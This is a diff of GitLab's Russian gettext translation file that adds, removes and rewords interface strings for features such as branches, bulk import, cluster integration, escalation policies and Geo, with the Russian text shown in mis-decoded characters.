+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ безвозвратно удалить защищённую ветку %{branch_name}."
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5690,9 +5829,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5759,9 +5904,6 @@ msgstr "От %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "По умолчанию GitLab отправлÑет пиÑьма в формате HTML и обычного текÑта, так чтобы почтовые клиенты могли выбрать, какой формат иÑпользовать. Отключите Ñту опцию, еÑли вы хотите отправлÑÑ‚ÑŒ пиÑьма только в текÑтовом формате."
@@ -5810,15 +5952,15 @@ msgstr "ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ CI/CD"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD Ð´Ð»Ñ Ð²Ð½ÐµÑˆÐ½ÐµÐ³Ð¾ репозиториÑ"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6522,8 +6667,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Выберите ветку/тег (например, %{master}) или введите коммит (например, %{sha}), чтобы увидеть, что изменилоÑÑŒ или Ñоздать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Выберите файл"
@@ -6906,72 +7051,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr "КлаÑтер"
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "Базовое доменное имÑ"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr "Блокирующий режим"
-
msgid "ClusterIntegration|CA Certificate"
msgstr "Сертификат удоÑтоверÑющего центра"
@@ -7344,6 +7423,9 @@ msgstr "Elastic Stack"
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "КлаÑтер управлÑемый GitLab"
-msgid "ClusterIntegration|Global default"
-msgstr "Везде по умолчанию"
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Проект в Google Cloud Platform"
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr "Загрузка подÑетей"
msgid "ClusterIntegration|Loading subnetworks"
msgstr "Загрузка подÑетей"
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Тип машины"
@@ -7602,9 +7678,6 @@ msgstr "УбедитеÑÑŒ, что ваша ÑƒÑ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ %{link_t
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "УправлÑйте клаÑтером Kubernetes, поÑетив %{provider_link}"
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Удалить интеграцию клаÑтера Kubernetes"
@@ -7842,9 +7912,6 @@ msgstr "Выберите зону, чтобы выбрать тип машины
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Токен Ñлужбы"
@@ -7857,9 +7924,6 @@ msgstr "ТребуетÑÑ Ñ‚Ð¾ÐºÐµÐ½ Ñлужбы."
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr " У Ð½Ð°Ñ Ñ‡Ñ‚Ð¾-то пошло не так."
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr "Шаблон"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8278,6 +8351,9 @@ msgstr "Коммит"
msgid "CommitMessage|Add %{file_name}"
msgstr "Добавить %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "Ñоздал"
@@ -8416,9 +8492,6 @@ msgstr "Панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñлужбы комплаенÑа"
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr "Фреймворк комплаенÑа (необÑзательно)"
@@ -8539,6 +8612,9 @@ msgstr "КонфиденциальноÑÑ‚ÑŒ"
msgid "Configuration"
msgstr "КонфигурациÑ"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "ÐаÑтройте обработчиков заданий Ð´Ð»Ñ Ð½Ð°Ñ‡Ð°Ð»Ð° иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²ÐµÐ±-терминала. %{helpStart}Подробнее.%{helpEnd}"
@@ -8602,6 +8678,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "Собрать образ"
@@ -9445,9 +9527,6 @@ msgstr "Создать новый домен"
msgid "Create Project"
msgstr "Создать проект"
-msgid "Create Value Stream"
-msgstr "Создать Поток ценноÑти"
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr "Сначала Ñоздайте учетную запиÑÑŒ GitLab, а затем подключите ее к вашей учетной запиÑи %{label}."
@@ -9478,9 +9557,6 @@ msgstr "Создать новый репозиторий"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Создать личный токен на аккаунте Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отправки через %{protocol}."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9532,6 +9608,9 @@ msgstr "Создать группу"
msgid "Create group label"
msgstr "Создать метку группы"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "Создать обÑуждение"
@@ -9583,6 +9662,9 @@ msgstr "Создать новый файл или каталог"
msgid "Create new label"
msgstr "Создать новую метку"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Создать новый..."
@@ -9616,6 +9698,9 @@ msgstr "Создайте вашу первую Ñтраницу"
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9943,27 +10028,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "Добавить Ñтап"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr "Добавить Ñтап"
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr "Редактиование Ñтапа"
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr "Ðовый Ñтап"
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr "Ð˜Ð¼Ñ Ñтапа уже ÑущеÑтвует"
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr "Метка начального ÑобытиÑ"
-
msgid "Customer Portal"
msgstr ""
@@ -10188,9 +10252,15 @@ msgstr "Выпадающий ÑпиÑок Ñтапов"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10410,9 +10480,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10780,6 +10847,9 @@ msgstr ""
msgid "Delete Comment"
msgstr "Удалить комментарий"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "Удалить Поток ценноÑти"
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr "Отключить общий доÑтуп к Ñайтам Pages"
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr "Отключить двухфакторную аутентификацию"
msgid "Disabled"
msgstr "отключено"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr "Отключенные зеркала могут быть включены только владельцами ÑкземплÑров. РекомендуетÑÑ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ их."
@@ -11711,6 +11808,9 @@ msgstr "Discord УведомлениÑ"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr "Откройте Ð´Ð»Ñ ÑÐµÐ±Ñ GitLab Geo"
@@ -11940,7 +12040,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr "Дата завершениÑ"
msgid "Duration"
msgstr "ДлительноÑÑ‚ÑŒ"
-msgid "Duration for the last 30 commits"
-msgstr "ДлительноÑÑ‚ÑŒ за поÑледние 30 коммитов"
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12081,9 +12196,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "Редактировать Ñтап"
-
msgid "Edit this file only."
msgstr ""
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12267,15 +12382,15 @@ msgstr ""
msgid "Embed"
msgstr "Ð’Ñтроить"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "ПуÑтой файл"
msgid "Enable"
msgstr "Включить"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Включить Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr "Включить или отключить ÑÐ¾Ñ‡ÐµÑ‚Ð°Ð½Ð¸Ñ ÐºÐ»Ð°Ð²Ð¸Ñˆ"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13092,9 +13204,6 @@ msgstr "Произошла ошибка при Ñохранении ответÑ
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "Произошла ошибка при переключении подпиÑки на оповещение"
-
msgid "Error occurred while updating the issue status"
msgstr "Произошла ошибка при обновлении ÑтатуÑа обÑуждениÑ"
@@ -13107,12 +13216,18 @@ msgstr "Произошла ошибка. Заблокированный поль
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr "Произошла ошибка. Заблокированный пользователь должен быть разблокирован Ð´Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ð¸"
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr "Произошла ошибка. Пользователь не был заблокирован"
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr "Произошла ошибка. Пользователь не был разблокирован"
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr "Ошибки:"
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr "Оценить"
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr "Загрузка Функциональных опций"
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr "Подробнее"
@@ -14002,9 +14166,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr "Ðовый переключатель функциональной опции"
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr "Целевые окружениÑ"
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14318,6 +14476,15 @@ msgstr ""
msgid "Flags"
msgstr "Флаги"
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14441,6 +14611,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Ответвлено от"
@@ -14735,6 +14917,9 @@ msgstr "вторичные узлы"
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr "Ðикогда"
msgid "Geo|Next sync scheduled at"
msgstr "Ð¡Ð»ÐµÐ´ÑƒÑŽÑ‰Ð°Ñ ÑÐ¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð·Ð°Ð¿Ð»Ð°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð° на"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ðе Ñинхронизировано"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "ÐеизвеÑтное ÑоÑтоÑние"
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "Ошибка Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ - %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15326,9 +15541,6 @@ msgstr "Принудительный HTTPS (требуютÑÑ Ð´ÐµÐ¹ÑтвитÐ
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr "Может пройти до 30 минут, прежде чем Ñайт Ñтанет доÑтупен поÑле первого развёртываниÑ."
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr "МакÑимальный размер Ñтраниц (Мбайт)"
